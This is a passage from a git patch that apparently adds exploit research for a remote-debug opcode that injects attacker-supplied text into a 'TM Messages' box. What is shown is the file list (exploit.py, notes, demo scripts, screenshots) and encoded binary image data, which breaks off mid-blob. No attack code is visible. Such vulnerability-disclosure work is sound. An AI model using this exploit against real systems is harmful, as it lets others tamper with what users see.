From 0e4075958b737c4b1523e41762a995867f97b68b Mon Sep 17 00:00:00 2001 From: SDD Date: Sun, 18 Oct 2026 11:03:01 +0300 Subject: [PATCH] dwt: rdebug opcode 8 puts attacker text in the TM Messages box --- dwt/evidence/visual/msg_after_crop.png | Bin 0 -> 1439 bytes dwt/evidence/visual/msg_after_frame00944.png | Bin 0 -> 18914 bytes dwt/evidence/visual/msg_before_crop.png | Bin 0 -> 1673 bytes dwt/evidence/visual/msg_before_frame00824.png | Bin 0 -> 19265 bytes dwt/evidence/visual/msg_client.log | 14 ++ dwt/evidence/visual/msg_levels_crop.png | Bin 0 -> 1241 bytes dwt/evidence/visual/msg_levels_frame15265.png | Bin 0 -> 18753 bytes dwt/evidence/visual/msg_persist_crop.png | Bin 0 -> 1439 bytes .../visual/msg_persist_frame01938.png | Bin 0 -> 18914 bytes dwt/evidence/visual/msg_scroll_crop.png | Bin 0 -> 925 bytes dwt/evidence/visual/msg_scroll_frame07979.png | Bin 0 -> 18453 bytes dwt/exploit.py | 40 +++++ dwt/notes/CROSS.md | 33 ++++ dwt/notes/DISPLAY_MESSAGE.md | 160 ++++++++++++++++++ dwt/visual/msg_demo.py | 139 +++++++++++++++ dwt/visual/msg_snap.lua | 56 ++++++ 16 files changed, 442 insertions(+) create mode 100644 dwt/evidence/visual/msg_after_crop.png create mode 100644 dwt/evidence/visual/msg_after_frame00944.png create mode 100644 dwt/evidence/visual/msg_before_crop.png create mode 100644 dwt/evidence/visual/msg_before_frame00824.png create mode 100644 dwt/evidence/visual/msg_client.log create mode 100644 dwt/evidence/visual/msg_levels_crop.png create mode 100644 dwt/evidence/visual/msg_levels_frame15265.png create mode 100644 dwt/evidence/visual/msg_persist_crop.png create mode 100644 dwt/evidence/visual/msg_persist_frame01938.png create mode 100644 dwt/evidence/visual/msg_scroll_crop.png create mode 100644 dwt/evidence/visual/msg_scroll_frame07979.png create mode 100644 dwt/notes/DISPLAY_MESSAGE.md create mode 100644 dwt/visual/msg_demo.py create mode 100644 dwt/visual/msg_snap.lua diff --git a/dwt/evidence/visual/msg_after_crop.png b/dwt/evidence/visual/msg_after_crop.png new file mode 100644 index 0000000000000000000000000000000000000000..3b08d35f47370b90074fb68b9092baddb015f239 GIT binary patch literal 1439 zcmeAS@N?(olHy`uVBq!ia0y~yU^)h5H!%VUhFn);Zy=?R>=ES4z)+>ez|hdb!0-zw z)bN6Vq11qZ;Z*_ygVhWM2JwP9y8>;15==?n?k)_Bce{j_0D0^sp1!W^uegLb82PNF zBlv+rswJ)wB`Jv|saDBFsX&Us$iT=<*U&)M&?3aZ!pgwV%FsmHz`)ADAZhmbXDAwS z^HVa@D$z9m&00tdQ?Dqg7ec#$`gxH z8GIdmT@?)Uj4Uh_G;$MjQw@MD-IUCtl1j}UF^CD~n4~a~WJ*ofX1D42=v7 z6e1K#Qj2mk^Ad9uG|G(hj1}qniH51kxO0esDc=1Ze)#T-IKDBrAq%|*X^t9b3;WBlCvxErK*~GdtU#-8**H|)_ zb>_pX{AE#!0^IDK4vODOI$T9F{fjO=x#0MwPX2GBoKcm;=Zn+V&!1OU6R)MZ;_Naf z$Fn|9zWdypYUg07A0IEL!~fvve#5fd(5o&ddJ`9{@@9JCR#&><-wr1I{RbM?+`H(e z^rY5x@A8))KGl8x^(i27+k>Y&ZXR1&Z?&-I<;6dBXQVsloG93|!&=hW<$!wNnWhxy zDKc+*QiZGzd^)*rX4Kh~rEht*{CU-Je9fK2r9vfUef>Lie#ev*$#xswYMj&`ceH4G z*e2e|L2kYpmE{trtKTi^)v#5V!j$e@R@|rJ@-5~`PT;M{4XIC`d!$X-^+Nwt!xP80 z(;BaLotU=b>7wTJfKM;?Jlyw>jic^x4~yFOON-K${P6L7;_@%vvZD9*ALXOAObV|r z?c5{Y$M3AF_uk@d*@Dv@?`tAwy$ML3IrsDvpR_&gW`=TC4If&s*YpfNaqds9uJINt z+12*hrGL)XzY;jL?RNb$nK!JZ{T34K{Y{xk+pew;dD}2c?XAg5$vdlOgr2H9%yRTo zhR%E+_0P*Q+dmzfHHA(4;@1NC$GT5!ikm~{rR$wGUpDEv-_zwAW4cpXKI#?OsIN%w zJl%Nlgs<}b@T<`i&zyTI@Yrs;}aa?wA-_z{i^paJ)LSdPrA~iHRpq0!OQQ8lTSTNiJaromIsWN z_g;C+F0G0Er*gf1!c@Uo=Xu)xdl(ogwmh7)=&O9i42@NZ>-R8p?esd4yhY-4+yx$< zZ@Me~Y%Th}!APp{)OSfmsZ(b?+o$fS*(~|w#@6?OJ#!RQdb_;7ZV>YNxh8i*w*7%4 zYpj=qI>&2Woo=Esqo}fwF`({C@1ng++Y>t+57lZtM$G*g&kw5OOAC!Ed6OW6~5`)%3M`;1Rkm@TaSH(BG^ zTa9OZx96@lVz6AbydZL)La=lI-xu!x3R_J%ELTOp4CneK+BsGFb>{l;m4VfqPJP+A z`R{8~ielPDmAb3@RrI6_d*eD})@lnV&tKcxF#YJ-`vSZD++0os{x-O-%sKf#Gw(L7 V9r{mFGJ(YlgQu&X%Q~loCIF{2eUbnG literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_after_frame00944.png b/dwt/evidence/visual/msg_after_frame00944.png new file mode 100644 index 0000000000000000000000000000000000000000..97b2aa27671abb119368f46a9fcae39d703dcaa9 GIT binary patch literal 18914 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

^-1ZdKh4DghW2!LkdmI4=${K5tcuoh5BM zE1Y^%Y(~fAtlAF1Haukh^O~0d%AI>nbkUZC+fL#$FL*vs%WHS}jv>zO%spKp=E4f_ zXE)eSpQ`m}UQ(X@C~#<4+@3)=!@BMXDK-{w>gs-y(h`pooj?k(r#jM2V<(R|iF~D_ zQ={KZAHGxPwtL*66c{tpn^b-%KhjIZUkZpiyyH(To!g(c8O2p_EbnYY>XKLG`4MmB zFuL`MGFn>o(t9!-hO$&VsrAnzM0@6ynOn3<(2bY3kVh`0;|9$wj;sZ>b4+5|1~Di; zzhQiMH)S;q`?{bO;p{uPag>3ID~ym-ATCcTTleI}o*cG2l``oh(1;s;Q0Ot`v?$)Z zsJad>JM0gQRR%=uXC(-Ro;*O_b`8_PQpw&b@3I$Isp+<#Ga5rY#4xUXbIh!8zRM>1 z5u%F%-V+CV1>|Tr?tPsAGxVj(qQAVx|EO3Bav()_)2sC`<#RyKU{>GrIU0t3Hkff# z5%;V5g`VAK_GO@bz6UB0gf6P7Hj1iGm{+XqLOjPnepVO*z1~HQ&HsxW|IQVNyR%nkS z=)j$f{cIu;eW0bH#=5q<`ZwaM^)v;*9~Zu)*~EIKsG zV3&vcmwrAQH*MJP<&iJZp=YAPqmM;?xh8&--KH;3hM$SjleAG?AY25`8NfWec9nho H&3FF?7RdTx literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_before_crop.png b/dwt/evidence/visual/msg_before_crop.png new file mode 100644 index 0000000000000000000000000000000000000000..fe8cc16ab8813c8a94eeb11a6c65a843cfaa9ef7 GIT binary patch literal 1673 zcmZ9Me>l?#9LK-<<;R7IyBcC+96PJ8P1uNxwKj?2W=bU6GH0n7ZnbJf zz?!rtA{GGF+&9JN%uEJg6EKk`2TR)%8wCI-JOMx;1b`(|NiYEbIUoQ`9s&Sd831fP zR{0$z*wk2aIFc9vnCU*Xmzy$kE-8v&K54bd!ptVfiDqjmd2k6dE2*CI_HF zv_HxhMEM5BgMm2E7w7Bu0SMwi@Nk88>^}fIi_T*5{ttjSU+mw&wSiM_MZNw};Ii0^ zY;G$1*#DV-MIr{M1ttdZmWj(^a`RF-3?M2jiU0$*p#!lnFLo-M0h%HdoyFnuyhW7T zyG-*wf6eoNi^pRJ?+6*V+7T{QTxGuki9KGY>6e?t}$7QsiaB>2EwLcjD%5y4NQs)4DFDuGc z2APy51%E+zb+f&adE~a;XFK~3zz?C&o$b3PofY}rL2sDsZdBB-$X+2L9l|g4SoK@F zAzj5_&T9&wtU5&8;!bg1qixJl+=Ew?lk${5*1}79pJ(AmT&{ke_dw94n=0y(1T7gt zDZhN&{^pLb>xFT8>FjBqs{Of3`*8hfB{Gq={H49-+nKS28eN$tF0m@}D8gP^_iOR> zRyfwr<7#w?kNku>y^azx9L+qp5?>oTxdad|Y%lRi>G{%s(GcmOoi}&eIyy1F=#-LC zeL30rT;+O8JNf16oink-gll>C$+;HllKiPB({nEwHHkefqRtbBWj$1lbV`O~NG!1s zdb?=oBim{uM z7DD$RltS|%_vQnNM!KgV{ApT`% zS7s594l2&}PZ5tcmR0LqNUdNG1DXm>YEv?|$ zHZekK7@x`*+r)v`9ejuUmEx|Wk`Xc1`!K)~N|PD}ZOOGlZ~-dAG4hIh16ucJp6AmV z`2Id6vGyy{+`E;H4SNms{33oE?TgZ(#!2K4F!RCkl_VFHb<3{PqO_z9Mel?K4$`x7 z(3+j%nz-^il9RTw!`1}I$6Cb*zHeMLf25nGsA+*&jEH-IJSUy@=qP z_xp{l`wJ}4Goo?VD+u@-7m}tkKvW^T!_|DPAEkvzV?svk=7P0aONU{1c~{NS-BUt; zT`-fe*|bqxD}&o>LTs{Y4dXT}k2ZsTm!*vc1%0@36LM-jHOkmR{y& z6IKgr$h26b8b>aV%-`Fnzo|R(pg&)BiTDvHixbxeG<$X>Q);oK@=9aRwp{FEB*7(~nzQbz=yX8$vshDwmQ(|8IZ>bN}V}n~BGQwXyswjS< wT!S&rCR*4llygo@ZBJR90_i%&L!=o)@fVDt>0+6e>5&2?!oG+m{GoGy0@qCP&;S4c literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_before_frame00824.png b/dwt/evidence/visual/msg_before_frame00824.png new file mode 100644 index 0000000000000000000000000000000000000000..7d68ace99f0b4208e719e6d99c9bc6235de6cfd4 GIT binary patch literal 19265 zcmeHvd03Ozx-ZsR?RH?dR;i5DLKPLzIv_)mwx|)=5@isTA+@N03{fCJ2uW(Ka#{;0 z0&##u1Pp=@Wt1UAv7&+|k{Ba_BwE0bKnRkFBqX^j42pa2d(OGfv+ud*Jh%LzU-Er< z*IMs-$KU&|@0Z=a@P&V|{EL~H*+TCfTm8(;J_MJuzn}L3_z$u+1N^)5iucxU15)y( z-JRLJWp&^0F&YsOaK&)%HM8YsKRNIs9Gd_6-kqaWF(r?Jlj&jE_TJg}D|9-Y0zV5b zYs%=xZkYM$#MU6`3+{|c9}*;g8`p_=p|T?XmO*nMCo2cEkaW<9O;V*a4d zeWodf1nmM}Hd5Q;oA)N|(A|k)%4Z|UEonc+-%xdUxc5b-vuAhU+{rZw@qn&4leGk0 zM?1blbV3R<69{xjv(uS2mL|4c5}YKMH4AFZ%MFTqFtgK3hpP={18x*B;lyZ|V(vHE zoPH<=Qoi!K?UuoO@B>!G9PR8YblChz6Jb9x^$u)*Bb_yu`#KN&=9y5tWUQ8M4KD3t z^I>M-|6;rLN&cDV8tAk2#s`2%cFXm|yGYGR6OUQ0{pMySTIr*6e+0J_UK-To@5FkICyswEI#nNE$ zqk&^oC;_`oKR0h0HGc4{`mbsi({B6SaW>5VMp9%frxRwGs9jZx3A1+(_tGamwW>Pl zX4bLS;|Mm2pz$Ssd{)W|K-Ifop>fuT`VHMIAV@VS2}>2=$r`RULpu4{)-gEB+&KRm z9l;8*pX90cD!z5uG<*k6;bKOi#CaZWpiEAv$;vSMC6jKp1JLbGdV@6MMZZx&Gjeg- zF9{Q0vOAWJBMkHJkSCwN+%)E5RsbmUi%FAXU2`3udq?=d_`%4d8*HW{n4mr&2ymio z-UbuV;N*V#thXOT$Vs*yeQEyVycsMFKI#LWMTXVAR8MZe6OF~+ZODW&XbZ<(C-lU; ze~Qxd#=hM^;l#9IIg=d4ubNy2EN625cI|}OCgs!bHq0^YJRmrsjNtQxPT^M>7fwmQ ze{uqnkqOc9Mox>`YTevfrfm}T7=!h&F=GbcynWPRqrvgcW78k(EICSvl3^Q|L4J7W54>Du%9d(*}1O^Y`E zWr6~AM80^E=m&ExPfbujCFQtH5XEH7&S;&WwPt+$!%3odPHaCoLE*B^;YFs4BVoP& ze@$z|(+KwEiStAE^p$|uX(t`Lv!O$@nt!`l_lgOaLW(p=PVq00mbzDBz-Gj8E%8ny z(LBfAJGtJVgM>zn-`^)1*$DQKnUK_^BHFGpDX>PZTRHz^yoXHkP0>gUA%*OdUA((Q z$j!jDr$grMWwQ4j7-`A;dM+Yy3B^_O)Br>SCsw1wr)>U*`@2UH!46VxH;1l~CHtWX z-r1j3D0Gdt5Sp8!I}%LQ?4Zhsv81U{uXVGV8a=&!ornASZ>1Jje^EA96NP#%J=F5p z9@o(HU}Va8xushW!iZMXlBE97A-9{UBt>=d!CkH2+C+Xvl8&Axz&smi9X4h3Ps(bu z8lSGDK-}x{RV^A+nf9x_$UVK=cBS>k=@(c-`29E@_fVurV&M36-rlN5`RjJcmQ{%s zy3>wBF;u(eP9C#qY(ozcgM@AQ?I(r7USX7^$jE<`4te&U5HCwX0@+@votGi}qTc{n zC~dx7)WzyR*Epo~*NF4JR1X74B3w zw^`J#K&DF&R*23G5jqSuZR0mg^dPLRr$OJSCI2ySD#Ug)a!7(n^{sSSgCkn$a?B%a z_TkrJ!l$<8h%P5kExX?1#`i;uqTSrRm{52%tv(`rLBR;m%xf4kzY3SBvV#ON4G@vB z&(c;u(0U(+yBhOavPjQOQrN(3u8)fc{C^AUYxCqt$;HFjDq_gsTsxBm4mlg@uKdYa_p$~q}l?vGBnuA+rVDWB6GLM)8bvG0q` z)5EYjijC^$k`LUQL+Qh(J=l4>N8Xep#Qg5pRK%+l{Y`xuA;c zzZZ?TRG>-p5q)1oZ4~X#3`_KBy#r@uybqIy<{*6s&Q 